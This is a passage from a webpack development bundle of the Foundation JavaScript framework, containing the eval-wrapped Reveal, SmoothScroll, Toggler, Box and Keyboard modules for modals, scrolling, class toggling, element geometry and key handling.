}\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n 